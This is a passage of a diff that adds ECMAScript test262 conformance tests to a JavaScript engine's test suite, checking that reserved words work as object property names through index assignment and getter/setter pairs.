+ var tokenCodes = {};
+ tokenCodes['enum'] = 0;
+ tokenCodes['extends'] = 1;
+ tokenCodes['super'] = 2;
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-12.js
new file mode 100644
index 000000000..56eb9d318
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-12.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-12.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: const, export, import
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['const'] = 0;
+ tokenCodes['export'] = 1;
+ tokenCodes['import'] = 2;
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-13.js
new file mode 100644
index 000000000..fd8beb9a2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-13.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-13.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: implements, let, private
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['implements'] = 0;
+ tokenCodes['let'] = 1;
+ tokenCodes['private'] = 2;
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-14.js
new file mode 100644
index 000000000..295abc5d1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-14.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-14.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: public, yield, interface
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['public'] = 0;
+ tokenCodes['yield'] = 1;
+ tokenCodes['interface'] = 2;
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-15.js
new file mode 100644
index 000000000..5c95f6db6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-15.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-15.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: package, protected, static
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['package'] = 0;
+ tokenCodes['protected'] = 1;
+ tokenCodes['static'] = 2;
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-16.js
new file mode 100644
index 000000000..f8146c5ab
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-16.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-16.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['undefined'] = 0;
+ tokenCodes['NaN'] = 1;
+ tokenCodes['Infinity'] = 2;
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-2.js
new file mode 100644
index 000000000..62df8ea1d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-2.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-2.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: break, case, do
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['break'] = 0;
+ tokenCodes['case'] = 1;
+ tokenCodes['do'] = 2;
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-3.js
new file mode 100644
index 000000000..772c108b4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-3.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-3.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['instanceof'] = 0;
+ tokenCodes['typeof'] = 1;
+ tokenCodes['else'] = 2;
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-4.js
new file mode 100644
index 000000000..99d7868b9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-4.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-4.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: new, var, catch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['new'] = 0;
+ tokenCodes['var'] = 1;
+ tokenCodes['catch'] = 2;
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-5.js
new file mode 100644
index 000000000..3543e4f25
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-5.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-5.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: finally, return, void
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['finally'] = 0;
+ tokenCodes['return'] = 1;
+ tokenCodes['void'] = 2;
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-6.js
new file mode 100644
index 000000000..652fc97d7
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-6.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-6.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: continue, for, switch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['continue'] = 0;
+ tokenCodes['for'] = 1;
+ tokenCodes['switch'] = 2;
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-7.js
new file mode 100644
index 000000000..1605d5d0b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-7.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-7.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: while, debugger, function
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['while'] = 0;
+ tokenCodes['debugger'] = 1;
+ tokenCodes['function'] = 2;
+ var arr = [
+ 'while',
+ 'debugger',
+ 'function'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-8.js
new file mode 100644
index 000000000..eab4c423a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-8.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-8.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: this, with, default
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['this'] = 0;
+ tokenCodes['with'] = 1;
+ tokenCodes['default'] = 2;
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-9.js
new file mode 100644
index 000000000..9f018dfa6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-9.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-9.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: if, throw, delete
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['if'] = 0;
+ tokenCodes['throw'] = 1;
+ tokenCodes['delete'] = 2;
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-1.js
new file mode 100644
index 000000000..7d816111d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-1.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-1.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: null, true, false
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set null(value) {
+ test0 = value;
+ },
+ get null() {
+ return test0;
+ },
+ set true(value) {
+ test1 = value;
+ },
+ get true() {
+ return test1;
+ },
+ set false(value) {
+ test2 = value;
+ },
+ get false(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-10.js
new file mode 100644
index 000000000..3b48de443
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-10.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-10.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: in, try, class
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set in(value){
+ test0 = value;
+ },
+ get in(){
+ return test0;
+ },
+ set try(value){
+ test1 = value;
+ },
+ get try(){
+ return test1
+ },
+ set class(value){
+ test2 = value;
+ },
+ get class(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-11.js
new file mode 100644
index 000000000..ff92952e1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-11.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-11.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: enum, extends, super
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set enum(value){
+ test0 = value;
+ },
+ get enum(){
+ return test0;
+ },
+ set extends(value){
+ test1 = value;
+ },
+ get extends(){
+ return test1;
+ },
+ set super(value){
+ test2 = value;
+ },
+ get super(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-12.js
new file mode 100644
index 000000000..2a4a1d170
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-12.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-12.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: const, export, import
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set const(value){
+ test0 = value;
+ },
+ get const(){
+ return test0;
+ },
+ set export(value){
+ test1 = value;
+ },
+ get export(){
+ return test1
+ },
+ set import(value){
+ test2 = value;
+ },
+ get import(){
+ return test2
+ }
+ };
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-13.js
new file mode 100644
index 000000000..a2f46d570
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-13.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-13.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: implements, let, private
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set implements(value){
+ test0 = value;
+ },
+ get implements(){
+ return test0;
+ },
+ set let(value){
+ test1 = value;
+ },
+ get let(){
+ return test1
+ },
+ set private(value){
+ test2 = value;
+ },
+ get private(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-14.js
new file mode 100644
index 000000000..393ae46b0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-14.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-14.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: public, yield, interface
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set public(value){
+ test0 = value;
+ },
+ get public(){
+ return test0;
+ },
+ set yield(value){
+ test1 = value;
+ },
+ get yield(){
+ return test1;
+ },
+ set interface(value){
+ test2 = value;
+ },
+ get interface(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-15.js
new file mode 100644
index 000000000..81d5f4b7f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-15.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-15.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: package, protected, static
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set package(value){
+ test0 = value;
+ },
+ get package(){
+ return test0;
+ },
+ set protected(value){
+ test1 = value;
+ },
+ get protected(){
+ return test1
+ },
+ set static(value){
+ test2 = value;
+ },
+ get static(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-16.js
new file mode 100644
index 000000000..91ff6b9c8
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-16.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-16.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set undefined(value){
+ test0 = value;
+ },
+ get undefined(){
+ return test0;
+ },
+ set NaN(value){
+ test1 = value;
+ },
+ get NaN(){
+ return test1;
+ },
+ set Infinity(value){
+ test2 = value;
+ },
+ get Infinity(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-2.js
new file mode 100644
index 000000000..9af600938
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-2.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-2.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: break, case, do
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set break(value){
+ test0 = value;
+ },
+ get break(){
+ return test0;
+ },
+ set case(value){
+ test1 = value;
+ },
+ get case(){
+ return test1;
+ },
+ set do(value){
+ test2 = value;
+ },
+ get do(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-3.js
new file mode 100644
index 000000000..b26b4d020
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-3.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-3.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set instanceof(value){
+ test0 = value;
+ },
+ get instanceof(){
+ return test0;
+ },
+ set typeof(value){
+ test1 = value;
+ },
+ get typeof(){
+ return test1;
+ },
+ set else(value){
+ test2 = value;
+ },
+ get else(){
+ return test2;
+ }
+ };
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-4.js
new file mode 100644
index 000000000..b8de25452
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-8-4.js
@@ -0,0 +1,46 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-8-4.js
+ * @description Allow reserved words as property names by set function within an object, accessed via indexing: new, var, catch
+ */
+
+
+function testcase() {
+ var test0 = 0, test1 = 1, test2 = 2;
+ var tokenCodes = {
+ set new(value){
+ test0 = value;
+ },
+ get new(){
+ return test0;
+ },
+ set var(value){
+ test1 = value;
+ },
+ get var(){
+ return test1;
+ },
